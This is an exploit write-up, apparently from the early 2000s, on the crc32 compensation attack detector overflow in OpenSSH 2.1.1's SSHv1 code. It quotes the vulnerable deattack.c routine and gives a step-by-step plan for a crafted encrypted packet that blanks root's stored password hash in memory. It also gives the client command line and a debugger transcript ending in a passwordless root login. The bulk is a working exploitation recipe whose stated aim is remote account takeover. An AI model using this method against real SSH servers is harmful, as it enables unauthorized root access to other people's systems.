Quick Analysiss of the recent crc32 ssh(d) bug

1. Abstract

---

This article discusses the recently discovered security hole in the
crc32 attack detector as found in common ssh packages like OpenSSH
and
derivates using the ssh-1 protocoll. There is a possible overflow
during
assignemnet from 32bit integer to 16bit wide one leading to unmasked
hash table offsets.

In this article I will try to show how:

a) exploit the crc32 hole to gain remote access to accounts without
providing any password, assuming remote sshd allows empty passwords

b) change login-uid if valid account on the remote machine exists.

I'm aware about the wide consequences arising form this disclosure
and
possibly some people will hate me because I wrote this, but after you
have read this article, you will see that the exploitation is really
hard and tricky but on the other hand interessting. I think that the
impact of the crc32 hole is greater than the recent bind bug. I'm not
responsible for any damage resulting from this code, if you use this
on
your own.

The exploit code is a set of patches to openssh-2.1.1, but of course
one
may want to put the needed routines into one code file.

Note: this is neither a typical buffer overflow exploit (shell code)
nor
a format string exploit :-)

2. Details

---

Lets look at the vulnerable code in deattack.c. I will derive few
conclusions about exploitation of the deattack code here.

Original deattack.c code taken from OpenSSH-2.1.1, interessting
locations are marked with [n]:

int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
register u_int32_t i, j;
u_int32_t l;
register unsigned char *c;
unsigned char *d;

    if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
        len % SSH_BLOCKSIZE != 0) {
            fatal("detect_attack: bad length %d", len);
    }

[1]
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;

    if (h == NULL) {
            debug("Installing crc compensation attack

detector.");
[2] n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
if (l > n) {
n = l;
h = (u_int16_t *) xrealloc(h, n *
HASH_ENTRYSIZE);
}
}

    if (len <= HASH_MINBLOCKS) {
            for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {
                    if (IV && (!CMP(c, IV))) {
                            if ((check_crc(c, buf, len, IV)))
                                    return (DEATTACK_DETECTED);
                            else
                                    break;
                    }
                    for (d = buf; d < c; d += SSH_BLOCKSIZE) {
                            if (!CMP(c, d)) {
                                    if ((check_crc(c, buf, len,

IV)))
return
(DEATTACK_DETECTED);
else
break;
}
}
}
return (DEATTACK_OK);
}
memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);

    if (IV)
            h[HASH(IV) & (n - 1)] = HASH_IV;

    for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE,

j++) {
[3] for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
i = (i + 1) & (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len,
IV))
return
(DEATTACK_DETECTED);
else
break;
}
[4] } else if (!CMP(c, buf + h[i] *
SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
[5] h[i] = j;
}
return (DEATTACK_OK);
}

[2] as wee see here, a 32bit int value is assigned to 16bit wide only
one. Bad things happen, if n is assigned a (truncated) value 0,
because
the value of n-1, where nwould expand to 32bit before the
calculation is
made is used as bit mask for following hash table operation [3].
Because
l is computed to be a power of 4 in [1], we do not need to know the
exact value for the len argument of detect_attack. We will end with n
beeing exactly 0 if len is big enough. The overflow happens at
exactly
LEN = (16384 / HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.

So now we know how to set n to 0. Simply send a ssh1 packet with size
exceeding LEN. But are we able to send such long packets? The answer
is
yes, after looking at the code of packet handling code in packet.c we
see that the maximum accepted packet len is 256 kbytes.

But what we can do with this? The answer is simple: after the value
of n
has been set to 0, we can access all sshd's memory by providing
out_of_range hash indexes which are taken as (network order) values
from
the packet buffer itself (due to the HASH function beeing simple
GET_32BIT), whose have to be 'unsigned short' index values. The
detect_attack code will scan 8 bytes long blocks checking them for
crc32
attack using only the first 4 bytes of each block as hash table
index.
So we can set the other half of the buf blocks to arbitrary values
without consequences to what we are indexing.

So having n=0 we can change really any value in the memory! For
example
to write to the variable X having the value V we need to supply the
Vth
buf block with an offset to X in server's memory, offset because it
would be calculated relative to the value of 'h', which has been
allocated by a call to xm(re)alloc(). The value of h has indeed to
be
guessed, though (or in other words we need to guess the offset to h).

But this would only write V to to X because 'j' which is the value we
write in [5] counts blocks in buf. As you see from [3] and [4] there
is
a condition for writing to memory. The block number V has to be
identical with the block obtained by buf + h[i] * 8, which means
that we
need 2 blocks: first a 'self termination' block with the number V and
another block with the number 'k' where k is the new value we want to
write to X. Note that with this technique we can only increase the
value
of X !

There are 2 other conditions: the UNUSED_HASH and the HASH_IV
condition,
though, I do not discuss them here.

Lets analyse the condition we need to enter detect_attack code at
all.
From packet.c it can bee seen that we need the session key to be
set, so
the first posibility to enter detect_attack is after the ssh_kex
code in
auth1.c. This makes the exploitation a bit tricky, because we need to
send encrypted packets.

So one may ask, how to send an encrypted packet containing the needed
offsets if we must always encrypt our data before sending? We can
deal
with it easilly maintaning a copy of the receive context as sshd sees
it. After the seesion key has been set (it is the same for sending
and
receiving) we need to decrypt all packets we send to sshd. With
this
trick we are able to produce the plaintext needed for construction of
desired encrypted packet :-)

Let us look at the format of ssh-1 packets. They are always 8*n
(packets
containing other data amount are padded) bytes long and contains an
(encrypted!) checksum at the end of packet:

(LEN)[001][002][003][004]…[XXX]

where […] stands for a 8-byte long block and (LEN) is a 32 bit
value
carrying the length information (network order!). The last [XXX]
block
would be like

[PPPPCCCC]

with P standing for padding or data and C for the crc32 checksum. The
checksum is calculated over all packet bytes excluding the checksum
location but including the last 32 bits of the packet (padding or
data)
and then stored at the end of packet and after that the resulting
packet
is encrypted with the current cipher context (usually send_context in
packet.c).

There are 2 another difficulties too, one can point out. The first is
that after we have sent a big packet setting 'n' in detect_attack to
0,
n will be still 0 in succeding calls and this will result in an
endles
loop in [1]. Therefore our packet must overwrite the static
variable n
in detect_attack subroutine!
Because we have xrealloc'ed the buffer h with the new size =
n*HASH_ENTRYSIZE which would expand to 0, the buffer h cannot be
assumed
to point to any valid memory… So the only way to deal with this is
to
send only small packets matching the condition len < HASH_MINBLOCKS
(=56). For example we have to disable tty allocation (-T option) in
the
following exploit code. Never enter more than about 36 bytes on the
prompt :-)

The second real hard problem is the value of PPPP. detect_attack will
scan the buf for crc32 compensation attack including the last block
with crc and pad. But we cannot really controll the encrypted value
of P
because the ciphers work always on 8 byte long blocks mixing the 2
32bit
values with each other (I didn't found any simple way to deal with
this,
cryptography experts, where are you?!). So the question is: how the
PPPP
bytes have to be in order to obtain defined encrypted value at the
P's
position after we calculated the cheksum? I doubt that this
problem is
solvable at all. However, I use at this point the UNUSED_HASH
termination condition. After n has been set again by our big packet
to a
value != 0 we need to match the condition h[PPPP & n-1] == 0xffff.
See
below to understand how I'm doing this ;-)

So now we know all about the detect_attack code and the packet
format,
lets think about really exploiting this. After I have looked at the
authorisation code auth1.c I found 3 ways of possible exploitation in
the do_authloop function:

a) there is a local variable 'int authenticated = 0' which set to
value
!= 0 would authorise the session and start a remote shell
immediatelly.

b) overwriting the pw->pw_passwd value which should be 'x'\000 on
systems with shadow passwords with something like \000'x' would
produce
a remote shell too if sshd has 'emptypasswords' enabled.

c) overwriting pw->pw_uid with some value would change the uid the
remote shell is running after successfull athentication.

You will very fast figure out, why (a) is not easy exploitable (if at
all…).

It is time to describe an exploitation way for (b), which I decided
to
choose for this article. Exploiting (c) would be similiar but not
really
interesting, I think, because we can only increment the uid value.

Lets summarize, how our (very very…) magic and big packet has to
look
like:

• we put as first cipher block an offset pointing to the location of
  in detect_attack(), so first write h[i]=j will set n=0

• we make the 0x78th block to point to the location of pw->pw_passwd
  (which point to somewhat like 0x78 0x00 … at this time), this is
  our
  termination block for pw->pw_passwd. h[i]=j wouldn't change the value
  pw->pw_passwd is pointing to

• we make the 0x100th block to point to pw->pw_passwd again, so that
  h[i]=j would change the value *(pw->pw_passwd) to be now 0x00 0x01
  (which is an empty string, say no password :-)

• the 512th cipher block has to change n in detect_attack() to be
  512 so
  no deadlock occurs in succeding calls to detect_attack().

• other cipher block offsets have to be 0x00000000.

• and finally we choose the last free (padding) value PPPP of the
  packet
  to match following condition: network_order(PPPP) & 511 == 0 (brute
  force that, PPPP would be found very fast…) so that we still have
  an
  effective offset 0x00000000. After I played a bit with this, I
  found
  that it is not really necessary to bother about PPPP…

There are few other modifications to the ssh code, though. I mention
only that before we send our magic big packet there will be a
'0xffff-setting' packet, only to set up the h buffer with 0xffff
values
;-)

Another modification I made is sending empty password after we have
sent
the long packet in sshconnect1.c. You will find other minor changes
on
yourself…

3. Exploit

---

Attached are diff files for the openssh-2.1.1 package. The patch
uses 2
environment variables called 'OFF' and 'NOFF', where OFF has to be
the
offset to the variable we want to overwrite (pw->pw_passwd), NOFF the
offset to stattic variable 'n' in the detect_attack code.

To finish this discussion lets look at some successfull exploitation
of
sshd. I have run sshd in gdb in debugging mode to simplify this show,
but you can try the code with your own 'real' sshd of course, using
apriopriate offsets…

on the client side:
./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l root

where -T prevents from sending ALLOC_PTY packet, which would exceed
the
56 bytes limit, on the server side:

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777
-d
-f ./sshd_config -b 512 2>&1
debug: sshd version OpenSSH_2.1.1
debug: Seeding random number generator
debug: read DSA private key done
debug: Seeding random number generator
debug: Bind to port 7777 on 0.0.0.0.
Server listening on 0.0.0.0 port 7777.
Generating 512 bit RSA key.
debug: Seeding random number generator
debug: Seeding random number generator
RSA key generation complete.
debug: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 3743
debug: Client protocol version 1.5; client software version
OpenSSH_2.1.1
debug: Local version string SSH-1.99-OpenSSH_2.1.1
debug: Sent 512 bit public key and 1024 bit host key.
debug: Encryption type: blowfish
debug: stored copy of send context
debug: Received session key; encryption turned on.

Breakpoint 1, detect_attack (
buf=0x80f9d14
"VЙzZн\236\005\035b¬I\205:I@N4c;\r\227іW\204ЛФ\022ЖµlT\aO\025Ў®Л6\227+w\177ъN\032@\017°$·Kл\230уCbД\225,_~(\bоР©l6136
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) c
Continuing.
debug: Installing crc compensation attack detector.
debug: Attempting authentication for root.

(here I have added some debugging code to detect_attack in order to
easilly gain offsets :-)

debug: PASSWORD ADR = 0xbffff08c : 80f8890 80f9c88 0
debug: passwd = [x]
debug: name = [root]

Breakpoint 1, detect_attack (
buf=0x80f9d14
"q9\216\203Иac]uuE\235A\013nQ\022·\003oj8Ьo+[\eл\207Xя®r[у7\233\030«Я%ПН·ЩRт\207l1\230yї(­\211Ў\004\207\037
\027&
len=528, IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

(gdb) x 0x80f9c88
0x80f9c88: 0x400c0078

As we see here, 0x400c0078 is the stored 'x'\000 value from
/etc/passwd,
which indicates that root has a shadow password.

(gdb) p len
$15 = 528

the packet received is the '0xffff' packet which would prepare the
memory region h with UNUSED_HASH values, ok lets continue:

(gdb) c
Continuing.
Unknown message during authentication: type 248
debug: Unknown message during authentication: type 248
Failed bad-auth-msg-248 for ROOT from 127.0.0.1 port 3743

ok, sshd ignored the 0xffff packet, the client side is guessing now
the
value of PPPP. Lets see what happens as next:

Breakpoint 1, detect_attack (buf=0x8100144 "\177юa0яяяя", len=88072,
IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) p len
$16 = 88072
(gdb) p n
$17 = 4096

Got big packet! Lets step into the detect_atack code:

(gdb) n
140 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l
= l
<< 2)
.
.
.
(gdb) p n
$18 = 0

So now we have set n=0 and n-1 = 0xffffffff and can overwrite memory
;-)
After few loops we check again the location of pw->pw_passwd:

(gdb) x 0x80f9c88
0x80f9c88: 0x400c0100

Oooops, root seems to have no password now! Lets run the loop a bit
longer:

(gdb) p n
$25 = 512
(gdb) p j
$26 = 785

We see that at this point we have set n back to be 0x200 and can
enter
detect_attack again. Lets check now the termination value for the
last
iteration in [3], which has to be UNUSED_HASH (note the network order
offsets):

(gdb) x/16 buf + len - 8
0x8115944: 0xf5966c0d 0xb7ef464b 0x09000000
0xeed64f1a
0x8115954: 0x2c1b8d66 0x891bb13a 0x527c53d0
0x00000000

(gdb) x/16 &h[0x0d6c96f5 & 511]
0x80fdf1a: 0xffffffff 0xffffffff 0xffffffff
0xffffffff
0x80fdf2a: 0xffffffff 0xffffffff 0xffffffff
0xffffffff

Ok, it looks fine, lets continue the loop till the end and hope that
sshd wouldn't die after overwriting 0x80fdf1a with the value of j
upon
the end of the [3] loop. It will take about 120 seconds on a P-100
machine to complete the loop (yes, I wrote this on an old P-100/64mb
:-).

(gdb) c
Continuing.
Unknown message during authentication: type 237
debug: Unknown message during authentication: type 237
Failed bad-auth-msg-237 for ROOT from 127.0.0.1 port 3747

Breakpoint 1, detect_attack (buf=0x8115950
"\032OЦоf\215\e,:±\e\211РS|R", len=16, IV=0x0) at deattack.c:136
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

Oooops^2, now we have fooled sshd to believe that root doesn't have a
password set, set n to be != 0 and we are still alive. SUCCESS! So
it is
not difficult to imagine what happens now:

(gdb) c
Continuing.
Accepted password for ROOT from 127.0.0.1 port 3747
debug: session_new: init
debug: session_new: session 0

Breakpoint 1, detect_attack (buf=0x8100144
"\030© С'\233З*oе\021w(З\035v", len=16, IV=0x0) at deattack.c:136
136 if (len >